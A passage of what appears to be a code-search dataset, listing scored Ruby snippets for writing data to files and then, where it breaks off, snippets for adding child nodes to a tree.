"score": "0.6763137", "text": "def written_file\n find_by_path(write_path)\n end", "title": "" }, { "docid": "f79eed90414e860768e6efb6f67ec872", "score": "0.67329085", "text": "def write_to_file(path, file)\n\tfh = File.open(path, 'w' )\n\tfh.write(file)\n\tfh.close\nend", "title": "" }, { "docid": "71ef3c53f1be034785fce11596520ff6", "score": "0.6726128", "text": "def write(&block)\n target.dirname.mkpath\n target.open('w', &block)\n end", "title": "" }, { "docid": "54191eae2672a7aae8ad0ac1b161e7d2", "score": "0.6712283", "text": "def writeFile(name, data)\n begin\n @disk.writeFile name, data\n rescue Exception => e\n $LOG.warn e.message\n nil \n end \n end", "title": "" }, { "docid": "dadb632cc55fd3c6418050a319e84136", "score": "0.6673349", "text": "def write(filename); end", "title": "" }, { "docid": "dadb632cc55fd3c6418050a319e84136", "score": "0.6673349", "text": "def write(filename); end", "title": "" }, { "docid": "dadb632cc55fd3c6418050a319e84136", "score": "0.6673349", "text": "def write(filename); end", "title": "" }, { "docid": "539edcdd58a58fb45df8a468e599de29", "score": "0.66582894", "text": "def write_to_disk\n path = path_to_file_on_disk\n dir_path = File.dirname(path)\n FileUtils.mkdir_p(dir_path)\n if self.is_from_url?\n cache = UrlCache.load_from_url(self.url, self.modified_date)\n FileUtils.cp(cache.path_to_file_on_disk, path)\n else\n File.open(path, 'w') {|f| f.write(self.content)}\n end\n end", "title": "" }, { "docid": "4b219d0014bc50edc77b8ad13a945c80", "score": "0.6612725", "text": "def write_file(data)\n File.open(file_path, 'w') do |file|\n file.puts data\n end\n end", "title": "" }, { "docid": "b7f4f3af74e1d8ea3c046c2d79f817b6", "score": "0.6604447", "text": "def write_to_file(pahtofile)\n dir = File.dirname(pahtofile)\n\n if File.directory?(dir) && File.writable?(dir)\n to_file(pahtofile)\n\n else\n raise ModelWriteError, \"impossible to write #{pahtofile}\" \n\n end\n end", "title": "" }, { "docid": "ae4b9aee22cecdd57f02e7e74bd630f2", "score": "0.6593724", "text": "def write!\n FileUtils.mkdir_p(@output_dir)\n File.write(@output_file, contents)\n end", "title": "" }, { "docid": "8dc7f00d3e90b15c97097a80361819ad", "score": "0.65882224", "text": "def write(content)\n handle = File.open(path, \"w\")\n\n handle.write(content)\n handle.close\n end", "title": "" }, { "docid": "697c40cb6e55e554373f2b3c44b0de78", "score": "0.6584829", "text": "def write(content)\n File.open(absolute_path, 'w+') do |file|\n file.puts(content)\n end\n rescue StandardError => e\n puts \"Error while writing file #{self}: #{e}\"\n puts e.backtrace\n end", "title": "" }, { "docid": "642eb406ff5ff711956b5e08a72526cb", "score": "0.65825874", "text": "def file_write(what, where)\n f = File.new(where, 'w')\n f.puts(what)\n f.close()\nend", "title": "" }, { "docid": "be77a74d6d75e6b8a317c1818df49195", "score": "0.65795594", "text": "def writeFile(path,content)\n File.open(path,\"w\") do |f|\n f.write(content)\n end\n end", "title": "" }, { "docid": "d16dc34d67b854917d414df800b693b3", "score": "0.6562226", "text": "def store_file filename, content\n File.open(@legacy_dir + filename, 'wb') { |f| f.write content }\n end", "title": "" }, { "docid": "5690eb8d8d0db5a8811ef905fded7e46", "score": "0.65304106", "text": "def writeToFile(line)\n File.open(@@file.path, 'a') do |file|\n file.puts(line)\n line = nil\n file.close\n end\n end", "title": "" }, { "docid": "28289cfccef8336103f57b09ae11852a", "score": "0.6518859", "text": "def write\n File.open(@path, \"w+b\") do |f|\n f << @content\n end\n end", "title": "" }, { "docid": "19999f3fb1183e9cdc7928f8788c0308", "score": "0.6475647", "text": "def save_as(file)\n f = File.new(file, \"w\")\n f.syswrite to_s\n end", "title": "" }, { "docid": "82248006e9250a1480aff59c20623d7a", "score": "0.6471733", "text": "def save_file\n raise ArgumentError, 'Need a Path to save the file' if @path.nil?\n\n File.open(@path, 'w') { |file| file.write(to_s) }\n end", "title": "" }, { "docid": "f78f9e01fedc464664a0c1485929a01a", "score": "0.6440163", "text": "def writefile(content, filename)\n FileUtils.mkdir_p(File.dirname(filename))\n File.open(filename, \"w\") do |file|\n file.print(content)\n end\n end", "title": "" }, { "docid": "cd50d6dd8dcb7f20a92b9edaaf03f365", "score": "0.64339644", "text": "def write(data)\n File.open(path, 'a+') {|f| f.write(data)}\n end", "title": "" }, { "docid": "57b425ac683a17c2730af05026ba8bb0", "score": "0.64100313", "text": "def write\n File.open(@fname, 'w') do |file|\n file.flock File::LOCK_EX\n\n UserInfoFile.put_header(file)\n\n @content.names.each_key do |id|\n file.puts @content.build_line(id)\n end\n end\n # 例外は小さい単位で捕捉する\n rescue SystemCallError => e\n puts \"#{e} in write\"\n rescue IOError => e\n puts \"#{e} in write\"\n end", "title": "" }, { "docid": "725decaa5ecfc5899faa0c82b5291e73", "score": "0.63981444", "text": "def write(string)\n ::File.open(path, 'w'){|f| f.write(string)}\n end", "title": "" }, { "docid": "ba1aa3637b89cc3d899e6b1b58585780", "score": "0.63953495", "text": "def file_write(file_name, file_content)\n FileUtils.mkdir_p(file_name.gsub(/\\/[^\\/]+\\z/, ''))\n File.open(file_name, 'w') do |file|\n file.write(file_content)\n end\n end", "title": "" }, { "docid": "453f8e727b26b47b4a2494c702718439", "score": "0.63943994", "text": "def write(file)\n @client.write @handle, file\n end", "title": "" }, { "docid": "df6a5841be7ac81554c2f6d4588175bd", "score": "0.6386863", "text": "def write!\n File.write(path, file_template)\n end", "title": "" }, { "docid": "6af923c18d93177e9857d340d8eb9723", "score": "0.6383558", "text": "def write_file(path, content)\n raise Errno::EEXIST.new(path) if File.exists?(path)\n File.write(path, content)\n end", "title": "" }, { "docid": "bed7d00ecf4d9473f0597d8a32ba7025", "score": "0.638337", "text": "def write(string)\n @path.dirname.mkpath\n @path.open(\"w\") { |f| f.print string }\n end", "title": "" }, { "docid": "0ca4889b84aee04d1a0b4a9982482212", "score": "0.6381626", "text": "def Write path,data\n\n File.open(path,'w') do |f|\n\n f.puts data\n\n end\n \n true\n\nend", "title": "" }, { "docid": "35a4c5ce43c62f37bc1778839c5cd38c", "score": "0.6376032", "text": "def write_file\n # Execute if the full file path exists (indicating a new File object)\n if @file_path\n name = self.filename\n test_dir = File.join(MarkusConfigurator.markus_ate_client_dir, assignment.short_identifier)\n\n # Folders for test, lib and parse files:\n # Test Files Folder\n if self.filetype == 'test'\n test_dir = File.join(test_dir, 'test')\n # Lib Files Folder\n elsif self.filetype == 'lib'\n test_dir = File.join(test_dir, 'lib')\n # Parser Files Folder\n elsif self.filetype == 'parse'\n test_dir = File.join(test_dir, 'parse')\n end\n\n # Create the file path\n path = File.join(test_dir, name)\n\n # Create the test, lib and parse folders if necessary\n FileUtils.makedirs(test_dir)\n\n # Read and write the file (overwrite if it exists)\n File.open(path, 'w+') { |f| f.write(@file_path.read) }\n end\n end", "title": "" }, { "docid": "973062801ef90affa17ffa8880d30fe2", "score": "0.6374713", "text": "def write!\n File.write(path, generate_content)\n end", "title": "" }, { "docid": "a9511a602afd3a5c73b8266e46905093", "score": "0.63721555", "text": "def write_file(filename)\n File.open(filename, 'w') { |file| file.write(write_to) }\n end", "title": "" }, { "docid": "375d9451799fa5f559f572cf36b1521a", "score": "0.6368826", "text": "def write_buffer_to_file(buffer, filename)\n abs_path = File.join(write_path, filename)\n assert_directory_exists!(abs_path)\n write_method.call(abs_path, buffer)\n end", "title": "" }, { "docid": "974e7daeab0bc53eb9b343c80240f9d6", "score": "0.63653725", "text": "def save(file)\n open(file, \"w\") {|f| f.write(write)}\n end", "title": "" }, { "docid": "d109f88b42b2880610a6c54d3d78a2cf", "score": "0.6364782", "text": "def write_to(path,file)\n @client.debug(\" WRITE FILE #{path}\")\n base, rest = split_path(path)\n case\n when base.nil?\n false\n when rest.nil?\n if @files[base].nil?\n @files[base] = DfsFile.new \n @files[base].client = @client\n end\n @files[base].write(file)\n when ! @subdirs.has_key?(base)\n false\n else\n @subdirs[base].write_to(rest,file)\n end\n end", "title": "" }, { "docid": "a9b2725efde0238f1d63ce58b935fae3", "score": "0.6364178", "text": "def writeFile(path, content)\n File.open(path, 'w+') do |f|\n puts \"... writing #{path}\"\n f.write(content)\n end\n end", "title": "" }, { "docid": "b3f400dc7beb049c339e25b9c6353630", "score": "0.6360514", "text": "def write path, content\n open(path, 'w') {|f| f.write content }\n end", "title": "" }, { "docid": "e827aca08f421ad066f9b852764e1b68", "score": "0.6358414", "text": "def write_file(file_name, file_content)\n File.open(file_name,\"w\") do |file|\n file.write file_content\n end\n end", "title": "" }, { "docid": "acef9a1703e6cf9dd6cca1c93b76e0c2", "score": "0.6349004", "text": "def write_file(path, contents)\n file = File.open(path, 'w')\n file.write(contents)\nrescue IOError => error\n puts 'File not writeable. Check your permissions.'.red\n puts error.inspect\nensure\n file.close unless file.nil?\nend", "title": "" }, { "docid": "111c32e4bde3498f0affc5f160c931ce", "score": "0.6345773", "text": "def write(file_name, data)\n path = home + file_name\n if data.nil?\n path.delete if path.exist?\n nil\n else\n data = data.to_s\n path.parent.mkpath\n path.write data\n path.chmod 0644\n data.length\n end\n end", "title": "" }, { "docid": "ad85a264a8bf1309df0c93031ede5454", "score": "0.63452363", "text": "def call_file_write path, contents\n File.open(path, \"wb\") do |file|\n file.write(contents)\n end\n end", "title": "" }, { "docid": "196234973bfbf26e94d19a191bc5bbba", "score": "0.6343692", "text": "def writetofile(line, path)\n\t\tFile.open(path, \"a\") { |file| file.puts line}\n\tend", "title": "" }, { "docid": "62cd1088102c29cde5067becc5bd7a48", "score": "0.6343553", "text": "def write(fileName)\n\tend", "title": "" }, { "docid": "1304fea79149a7215e8b561374855a52", "score": "0.632849", "text": "def write_file local_filename, contents\n\t\t \n\t\t File.open(local_filename, 'w') {|f| f.write(contents) }\n\t\t \n\tend", "title": "" }, { "docid": "dd53859de7ac890edac280dccad0034a", "score": "0.6323077", "text": "def store_file(file)\r\n name = file.original_filename\r\n directory = \"/home\"\r\n @path = File.join(directory, name)\r\n File.open(path, \"wb\") { |f| f.write(file.read) }\r\n end", "title": "" }, { "docid": "85645c88eb46f759d5a04ff178a34441", "score": "0.6318342", "text": "def write_file(file_path, file_data)\n File.open(file_path, 'w') {|file| file.write(file_data)}\n end", "title": "" }, { "docid": "a9316853845db505a391722f7b800af0", "score": "0.6315842", "text": "def save(path)\n File.open(path, 'w+b') do |f|\n f << File.read(output.path)\n end\n end", "title": "" }, { "docid": "3f74db4e93a0fcb98a380a3a29a83017", "score": "0.6300124", "text": "def write(path, content)\n mkdir_p(File.dirname(path))\n puts \"write: #{path}\" # log instead?\n File.open(path, 'w') do |f|\n f.write(content.to_s)\n end\n end", "title": "" }, { "docid": "d0c852a80f4ec3c913203750c87e8f6e", "score": "0.6284033", "text": "def save(&block)\n File.open(@path, \"wb\", &block)\n end", "title": "" }, { "docid": "a2d25c0a6be68024525cf0af8eb8d5c6", "score": "0.6280766", "text": "def write(file_name, content)\n path = absolute_path_to_file(file_name)\n directory = File.dirname(path)\n FileUtils.mkdir_p(directory) unless File.exist?(directory)\n File.binwrite(path, content)\n end", "title": "" }, { "docid": "04d5f8756c600186cd08b2efe02c4ea5", "score": "0.6279448", "text": "def write_file(content, path)\n @write_proc.call(content, path) unless @write_proc.nil?\n end", "title": "" }, { "docid": "e25cb32fc65156365148d0dba7a28df5", "score": "0.627418", "text": "def save_to_disk(path, content)\n log.debug \"save_to_disk #{path}, #{content.length}\"\n begin\n # create directories if they don't exist\n FileUtils.mkdir_p(File.dirname(path))\n\n # write the document\n File.open(path, \"wb\" ) do |file|\n file.write(content)\n end\n\n rescue => e\n log.fatal \"Backup of document failed: save_to_disk\"\n log.fatal e\n\n # should stop the show if we can't backup our data\n raise Exception\n end\n end", "title": "" }, { "docid": "7658b7cae33d2f99e86f4a20da1769cb", "score": "0.62726724", "text": "def write_to_file(file)\n file.to_pathname.write_text(self)\n self\n end", "title": "" }, { "docid": "76ffb33fd58ffb2dbf880311b06cb1be", "score": "0.62634325", "text": "def write(path, data)\n open(path, 'w') { |f| f.write(data) }\n end", "title": "" }, { "docid": "9951aff7ec6ac10ed3c883ae34187c34", "score": "0.6259707", "text": "def write_to(p_path, p_contents)\n file = File.new(p_path, \"w\")\n file.puts p_contents\n file.close\n end", "title": "" }, { "docid": "253662e83755cdb4ce9270e058ffb51c", "score": "0.6259155", "text": "def write(location, raw_data)\n SitemapGenerator::FileAdapter.new.write(location, raw_data)\n\n storage = Fog::Storage.new(@fog_credentials)\n directory = storage.directories.new(:key => @fog_directory)\n directory.files.create(\n :key => location.path_in_public,\n :body => File.open(location.path),\n :public => true\n )\n end", "title": "" }, { "docid": "ff29ef74b04f35d2155f7d7145aef078", "score": "0.625844", "text": "def write_file(directory,filename,output)\n\n FileUtils.mkdir_p directory\n\n # create full output path\n output_path = \"#{directory}/#{filename}\"\n\n # write it\n File.open(output_path,\"w\") {|f| f.puts output }\n end", "title": "" }, { "docid": "8dc186e2948607e266b6666f8c321718", "score": "0.6257265", "text": "def write(path, contents)\n File.write(path, contents)\n end", "title": "" }, { "docid": "db195e2136df3639692b7449e186d1ef", "score": "0.624799", "text": "def write_to_file_and_return_path(data)\r\n File.open(File.join(@@tempfiles_path, filename), 'wb') do |f|\r\n f.write data.read\r\n File.expand_path f.path\r\n end\r\n end", "title": "" }, { "docid": "1160059069bc7ce672afe1f7868eee0f", "score": "0.62376314", "text": "def save_to_file()\n end", "title": "" }, { "docid": "6a1eadf750e6c8ce5e9b93a78fc1ce9d", "score": "0.6236033", "text": "def write_file(contents, name, local = Menu.opts[:log], overwrite = false)\n\t\tbegin\n\t\t\t# Make sure locaiton ends in a slash\n\t\t\tif not local =~ /\\/$/\n\t\t\t\tlocal = \"#{local}/\"\n\t\t\tend\n\t\t\tbackup_file(\"#{local}#{name}\") unless overwrite\n\t\t\tFile.open(\"#{local}#{name}\", 'w') { |file| file.write(contents) }\n\t\trescue => e\n\t\t\tprint_bad(\"Issues saving file: #{e}\")\n\t\tend\n\tend", "title": "" }, { "docid": "0969cd85331420bfb2d4695c9fd25c70", "score": "0.62351596", "text": "def write_file(path,content = nil, block=nil)\n # ensure the target folder exists\n FileUtils.mkdir_p(File.dirname(path))\n \n # #puts \"write to \" + path\n \n # write the given content or yield the open output file to a block\n File.open(path, 'wb') { |file| \n if content.nil?\n block.call file\n else\n file.write(content)\n end \n }\n end", "title": "" }, { "docid": "83cb1537cfc81c2391743fa42cd4d281", "score": "0.62335753", "text": "def write_file\n data = content\n\n ::File.write(filename, data)\n\n data\n end", "title": "" }, { "docid": "1b964495e6671176770edfb0977e4744", "score": "0.6225008", "text": "def write(filename, content)\n abort 'File name not found.' if filename.nil?\n path = filename\n File.write(path, content)\nend", "title": "" }, { "docid": "1f7ab3ef8ec6689e67630f5e4c4d37c5", "score": "0.6223089", "text": "def write_file(path, data)\r\n false\r\n end", "title": "" }, { "docid": "4b8ef12ec89caf230351e2ceda3e66b7", "score": "0.6216732", "text": "def writeFile name, data\n end", "title": "" }, { "docid": "c2a16e5c0f1e79d91b73579a3b942636", "score": "0.6208319", "text": "def write_file(text, path)\n write_to = @opts[:dir] + path\n\n FileUtils.mkdir_p write_to.dirname\n File.open write_to, 'w' do |f|\n f.write text\n end\n end", "title": "" }, { "docid": "6d12714ea8a1a4eac1a1c18a3e30a116", "score": "0.62068385", "text": "def write_file path, body, options = {}\n write_temp_and_copy( path, body, options[ :sudo ] ? \"sudo\" : nil ) unless options[ :dry_run ]\n debug_print_write_file path, body, options\n end", "title": "" }, { "docid": "5f253d5e9955f3533df7175543a4929b", "score": "0.6205618", "text": "def write_file(file_path, contents)\n File.open(file_path, 'w') do |file|\n file.write contents\n end\n end", "title": "" }, { "docid": "f24bf494b18d88d8d62390c79ab1878f", "score": "0.6203709", "text": "def write_file\r\n if @dirty == true\r\n @outputFile.seek(0) #because lines in between may change\r\n @buffer.each {|line| @outputFile.write(line)}\r\n @dirty = false\r\n else\r\n puts \"No unsaved data to write\"\r\n end\r\n end", "title": "" }, { "docid": "d5e215d69f9ae89f0e27e9f05c78a020", "score": "0.6200714", "text": "def write_to_file(name = :internal)\n name = suggested_filename if :internal == name\n \n open(name, 'w') do |fh|\n fh.write self.body\n end\n end", "title": "" }, { "docid": "ccda014e114679450ec34da1e2d44d4d", "score": "0.61919224", "text": "def write_file(destination, contents)\n File.open(destination, 'w') do |file|\n file.write contents\n end\n end", "title": "" }, { "docid": "767f83876f026d3bcf97e0bf4d5939b0", "score": "0.6180301", "text": "def savetodisk#(file)\n\t\t file = uploadedfile\n\t\t \n\t\t # -- Use random name for save to disk\n\t\t name = preparename(file.original_filename)\n\t\t type = file.content_type\n\t\t year = Date.today.strftime(\"%Y\")\n\t\t month = Date.today.strftime(\"%m-%B\")\n\t\t day = Date.today.strftime(\"%d\")\n\t\t \n\t\t # -- Base directory to save the file for public\n\t\t directory = \"public/data\"\n\t\t \n\t\t # -- Generate folders for uploads for year-month-day\n\t\t dir3 = File.dirname(\"#{directory}/#{year}/#{month}/#{day}/\")\n\t\t FileUtils.mkdir_p(dir3) unless File.directory?(dir3)\n\n\t\t # create the file path\n\t\t path = File.join(dir3, name)\n\t\t # write the file\n\t\t File.open(path, \"wb\") { |f| f.write(file.read) }\n\t\t path.remove!(\"public/\")\n\t\t self.path = path\n\t\t self.file_type = type\n\t\t self.filename = name\n\tend", "title": "" }, { "docid": "80162a2852b17ba1fc37f888eb2a5c96", "score": "0.6178969", "text": "def write_file(name, content)\n Aruba.platform.create_file(expand_path(name), content, false)\n\n self\n end", "title": "" }, { "docid": "3961d3b9472b156a7c70a83982912d71", "score": "0.61730003", "text": "def write_on_file\n path = 'public/ecard.html'\n File.open(path, 'w') do |f|\n f.write content\n end\n end", "title": "" }, { "docid": "c2f24151f32a0cc214ffab0cba438e0e", "score": "0.6169031", "text": "def write(path, content)\n path = ::File.expand_path(path)\n FileUtils.mkdir_p(::File.dirname(path))\n ::File.open(path, 'w+') { |f| f.write(content) }\n end", "title": "" }, { "docid": "6c2c9d7e5e65cf02dab05cc2c6212388", "score": "0.6165908", "text": "def write(file, contents)\n FileUtils.mkpath File.dirname(file)\n File.open(file.to_s, 'wb') { |file| file.write contents.to_s }\n end", "title": "" }, { "docid": "ae07d6cf160ba14ad7dc145ba332620a", "score": "0.6161947", "text": "def write(location, raw_data)\n SitemapGenerator::FileAdapter.new.write(location, raw_data)\n\n storage = Google::Cloud::Storage.new(**@storage_options)\n bucket = storage.bucket(@bucket)\n bucket.create_file(location.path, location.path_in_public, acl: @acl)\n end", "title": "" }, { "docid": "b2fa90f3396e30c8fb23ffd2fef1f960", "score": "0.6161772", "text": "def write_file\n # Execute if the full file path exists (indicating a new File object)\n if @file_path\n name = self.file_name\n test_dir = File.join(AutomatedTestsClientHelper::ASSIGNMENTS_DIR, assignment.short_identifier)\n\n # Create the file path\n path = File.join(test_dir, name)\n\n # Read and write the file (overwrite if it exists)\n File.open(path, \"w+\") { |f| f.write(@file_path.read) }\n end\n end", "title": "" }, { "docid": "b2fa90f3396e30c8fb23ffd2fef1f960", "score": "0.6161772", "text": "def write_file\n # Execute if the full file path exists (indicating a new File object)\n if @file_path\n name = self.file_name\n test_dir = File.join(AutomatedTestsClientHelper::ASSIGNMENTS_DIR, assignment.short_identifier)\n\n # Create the file path\n path = File.join(test_dir, name)\n\n # Read and write the file (overwrite if it exists)\n File.open(path, \"w+\") { |f| f.write(@file_path.read) }\n end\n end", "title": "" }, { "docid": "2cafb8fc9fad4ce5f1e0e73a114d3ef8", "score": "0.6160287", "text": "def write_file(output, data)\n File.open(output, 'wb'){|file| file.write(data)}\nend", "title": "" }, { "docid": "3e881447530a487f494a749b53863477", "score": "0.6157018", "text": "def store_to_file(file_name)\n File.open(file_name,\"w\") { |f| f << \"<div id=\\\"storeArea\\\">\\n#{store_to_s}</div>\" }\n puts \"Wrote store only to '#{file_name}'\"\n end", "title": "" }, { "docid": "aebbe48600268a083b068b3e5bb6fc4f", "score": "0.615472", "text": "def write(area, filename, content)\n ensure_area_directory(area, filename)\n File.open(file_path(area, filename), \"w\"){ |io| io << content }\n end", "title": "" }, { "docid": "daee6e6de4bbaec79c62e23487b0aec0", "score": "0.6137259", "text": "def write_to_temp_file(data)\n self.class.write_to_temp_file data, self.location\n end", "title": "" }, { "docid": "048fb5b5aa71ce74a76fae9eb7d5e4a7", "score": "0.6136045", "text": "def save_to(path)\n File.write(path, to_xfdf)\n end", "title": "" }, { "docid": "c5b7177753b1092e04149bf38d2503d3", "score": "0.6134858", "text": "def write_file(path, content, io_mode='w')\n File.open(path, io_mode) do |file|\n file.write(content)\n end\n end", "title": "" }, { "docid": "eb25eddf83d498428f4cda7e6c64828a", "score": "0.61311996", "text": "def write(destination)\n FileUtils.mkdir_p destination unless File.directory? destination\n File.open(File.join(destination, name), \"w\"){|x| x.write output}\n end", "title": "" }, { "docid": "c9dda1b14dfd594d2adfa8843e5957c1", "score": "0.6121193", "text": "def write\n File.open(@path, 'w') do |f|\n f.puts process()\n end\n end", "title": "" } ]
46115744d0360335c6710f28f2514cdb
Adds a new child to the container. Assigns his depth plus one as depth to the new child. You can not add nil as new child.
[ { "docid": "cf19150e71a1e3e29a09439fe5edc1fe", "score": "0.0", "text": "def add(comment)\r\n fail \"Comment should not be nil\" if (comment.nil?)\r\n\r\n @comments.push(comment)\r\n comment.depth = self.depth+1\r\n end", "title": "" } ]
[ { "docid": "e7e0f730b9f7a497881d91716287d502", "score": "0.7527331", "text": "def add_child child\n (@children ||= []) << child\n end", "title": "" }, { "docid": "1a89bf81290f9698394349c0a00fa84c", "score": "0.7436876", "text": "def add_child(child)\n child.parent = self\n @children << child\n nil\n end", "title": "" }, { "docid": "92f83ccb734e4796a26518f01732bdbd", "score": "0.7410335", "text": "def add_child(child) \n @children << child \n end", "title": "" }, { "docid": "622b4f7311aa8a3bf92a496df3faa874", "score": "0.73910284", "text": "def addChild(child)\n @children << child\n end", "title": "" }, { "docid": "8342c6a67b4f418ea4cd952027ddba3c", "score": "0.7367112", "text": "def add_child child\r\n child.parent = self\r\n @children << child\r\n end", "title": "" }, { "docid": "5e1bdc26fda2bcadfd0da431312bef40", "score": "0.7317739", "text": "def add_child(child)\n @children.push child\n end", "title": "" }, { "docid": "ba54ae9f24f5f5948266e9c74516e27b", "score": "0.729884", "text": "def add(child) \n add_child(child)\n end", "title": "" }, { "docid": "dca05e3f5d892788c6e3bb0fe6d81b91", "score": "0.7293784", "text": "def add_child(child)\n @children.push(child)\n end", "title": "" }, { "docid": "3c90428db43a5cfe1193135a2c8ec677", "score": "0.72814506", "text": "def add child\n self.children << child\n child.parent = self\n end", "title": "" }, { "docid": "ff9c6aee3e5e43b9eb9973c876917c5c", "score": "0.72742265", "text": "def add_child( child )\n @children << child\n end", "title": "" }, { "docid": "2f72d23247a659bedd884847911e138a", "score": "0.7273596", "text": "def add_child(child)\n child.parent = self\n @children << child\n self\n end", "title": "" }, { "docid": "4ca5c3ddfa3b2723956cf0cc64720222", "score": "0.72650707", "text": "def add_child(child)\n (@children ||= []) << child\n child\n end", "title": "" }, { "docid": "d0af11adb81f79a4cf69b49354ab96dd", "score": "0.7263067", "text": "def add_child(child)\n self.children << child\n end", "title": "" }, { "docid": "d3dce72ea6d2b236c43d284d30eb4d33", "score": "0.724643", "text": "def add_child(child); end", "title": "" }, { "docid": "08ae2e3300b09ed9b92282a99b07357a", "score": "0.7217777", "text": "def add_child(child)\n @children.push(child)\n end", "title": "" }, { "docid": "08ae2e3300b09ed9b92282a99b07357a", "score": "0.7217777", "text": "def add_child(child)\n @children.push(child)\n end", "title": "" }, { "docid": "c0c81c7270d22043e25c9ed353c58957", "score": "0.72162545", "text": "def add_child(child)\n @children << child\n end", "title": "" }, { "docid": "c7834d19cff1951e364cef7c3b4c44cc", "score": "0.7203932", "text": "def add_child(child)\n unless child.containers.include?(ruby_class)\n fail child.class.to_s + ' cannot be child of ' + self.class.to_s\n end\n @children.each do |mo|\n return nil if mo.dn == child.dn\n end\n @children.push(child)\n child.parent = self\n end", "title": "" }, { "docid": "eb005d90c452c608539878bf37671085", "score": "0.7164859", "text": "def addChild(child)\n child.parent = self\n @children.push(child)\n end", "title": "" }, { "docid": "9a777cf0a2a3feb4de9b42f64d126f62", "score": "0.7145827", "text": "def add_child(child)\n child.parent = self\n @children << child\n end", "title": "" }, { "docid": "7fc76a83edad4b8e05642989546c0694", "score": "0.71403664", "text": "def add(child)\n if defined?(parent) && present?(parent)\n parent.add(child)\n\n else\n @value = child\n\n self\n end\n end", "title": "" }, { "docid": "89b0431f4e90c8ff0db089b85d8dc7df", "score": "0.7131263", "text": "def add_child(node)\n if node.depth == (self.depth + 1)\n @children << node\n else\n @children.last.add_child(node)\n end\n end", "title": "" }, { "docid": "1a6e4d025837b7d17bd476cb19258b0b", "score": "0.7129313", "text": "def add_child(child)\n @children[child.id] = child\n end", "title": "" }, { "docid": "a5fcbc235d3280976acc6acf6c04517b", "score": "0.7106735", "text": "def add_child(child)\n @children << child\n child.parent = self\n end", "title": "" }, { "docid": "dcec54fde782f40582fb1b630826d253", "score": "0.71061945", "text": "def add_child(value)\n @children.unshift(Tree(value))\n end", "title": "" }, { "docid": "32f3b47b6528191556cf8875d1cb8140", "score": "0.7101977", "text": "def add_child( child )\r\n # should I allow user to shoot self in foot\r\n # by setting @children attr_writer - tree_run will\r\n # die etc as would all the length stuff... Let's not.\r\n raise ArgumentError, \"Child not a Binstruct.\" unless child.kind_of? Binstruct\r\n child.instance_variable_set(:@parent,self)\r\n @children << child\r\n end", "title": "" }, { "docid": "d0da845180018b4abc59ee8d0798e552", "score": "0.70306164", "text": "def add_child(child)\n @children[child.name] = child\n end", "title": "" }, { "docid": "e71a334c585c973fe5daeca0c42c49de", "score": "0.7029817", "text": "def addChild(child)\n\t\t\t@children << child\n\t\t\tchild.parent = self\n\t\tend", "title": "" }, { "docid": "3c3f8b3cadbfcf1903b116593ccd4970", "score": "0.70155007", "text": "def add_child(aChild)\n children << aChild\n end", "title": "" }, { "docid": "f83425f5abd5652d72f696d3c25c29d4", "score": "0.7003458", "text": "def add_child(node)\n # bulk update nodes by a sql query\n _update_nodes(r_ptr, r_ptr, \"r_ptr >= #{r_ptr}\")\n\n # child node's pointer\n node.l_ptr = r_ptr\n node.r_ptr = r_ptr + 1\n node.depth = depth + 1\n node.save\n end", "title": "" }, { "docid": "17369c1ee00eb6f28c7403c90c5c1242", "score": "0.6981974", "text": "def add_child(node)\n if node.depth == (self.depth + 1)\n node.parent = self\n @children << node\n else\n @children.last.add_child(node)\n end\n end", "title": "" }, { "docid": "d38956f144b6bed0a5995ebb3bf50fca", "score": "0.6973957", "text": "def add_child(key, child)\n raise ArgumentError, \"Symbol expected for key, #{key.inspect} received.\" unless key.nil? or Symbol===key \n raise ArgumentError, \"Node expected for child, #{child.inspect} received.\" unless Node===child\n unless key.nil?\n # add or replace a named child\n if @child_keys.has_key?(key)\n index = @child_keys[key]\n @children[index].detach\n @children[index] = child\n else\n @child_keys[key] = @children.length\n @children << child\n end\n else\n # add an unnamed child\n @children << child\n end\n child.attach(self, key)\n self\n end", "title": "" }, { "docid": "839a4a81a6771a9643773c0b3ebca6de", "score": "0.6967878", "text": "def add(child)\n @children << child\n child.parent = self\n return child\n end", "title": "" }, { "docid": "594d842f5f4a346132bc87b5802e0175", "score": "0.6962466", "text": "def add_child(child)\n if !self.children.include?child\n self.children << child\n child.parent = self\n end\n end", "title": "" }, { "docid": "594d842f5f4a346132bc87b5802e0175", "score": "0.6962466", "text": "def add_child(child)\n if !self.children.include?child\n self.children << child\n child.parent = self\n end\n end", "title": "" }, { "docid": "93c41dcf1f30db802315aaa793546f04", "score": "0.69486046", "text": "def add_child (node)\n children << node\n node.instance_variable_set(:@parent, self)\n end", "title": "" }, { "docid": "763338c533d9f8f9750062e3b6030fa3", "score": "0.6920204", "text": "def add_child(child_node)\n children << child_node\n child_node\n end", "title": "" }, { "docid": "763338c533d9f8f9750062e3b6030fa3", "score": "0.6920204", "text": "def add_child(child_node)\n children << child_node\n child_node\n end", "title": "" }, { "docid": "763338c533d9f8f9750062e3b6030fa3", "score": "0.6920204", "text": "def add_child(child_node)\n children << child_node\n child_node\n end", "title": "" }, { "docid": "bd97bb8ce199e907c605f76300c70698", "score": "0.6893277", "text": "def addChild(child)\n @children << child\n child.setParent(self)\n end", "title": "" }, { "docid": "6871bc5b8db6faec8a4718cb487fe562", "score": "0.6888772", "text": "def add(child)\n raise \"Child already added\" if @childrenHash.has_key?(child.name)\n\n @childrenHash[child.name] = child\n @children << child\n child.parent = self\n return child\n\n end", "title": "" }, { "docid": "133faf15aba53d0c758e27ad4319f1a4", "score": "0.6879887", "text": "def add(value)\n return nil if has?(value)\n \n child = Node.new(value)\n @children << child\n return child\n end", "title": "" }, { "docid": "0b14e143075fa600aa2304b4b943c679", "score": "0.6874897", "text": "def add_child(child)\n return nil unless child\n @children << child\n child.force_parent(self) unless child.parent\n return child\n end", "title": "" }, { "docid": "0b14e143075fa600aa2304b4b943c679", "score": "0.68747205", "text": "def add_child(child)\n return nil unless child\n @children << child\n child.force_parent(self) unless child.parent\n return child\n end", "title": "" }, { "docid": "b644a2910f16eb4018f63a5c9bf7722a", "score": "0.6848116", "text": "def add!(_, child)\n child\n end", "title": "" }, { "docid": "ff24222ef0e02503cea1c00f08c9d379", "score": "0.68465006", "text": "def add_child( root, child )\n # do nothing\n end", "title": "" }, { "docid": "345f44e7c64c4d1c8446c6abe26b2a33", "score": "0.68456507", "text": "def << new_child\n\t\t@children << new_child\n\tend", "title": "" }, { "docid": "d4a60100ff33cc84cc48f658a28887e0", "score": "0.68448776", "text": "def add(child)\n raise \"Child already added\" if @childrenHash.has_key?(child.name)\n\n @childrenHash[child.name] = child\n @children << child\n child.parent = self\n return child\n end", "title": "" }, { "docid": 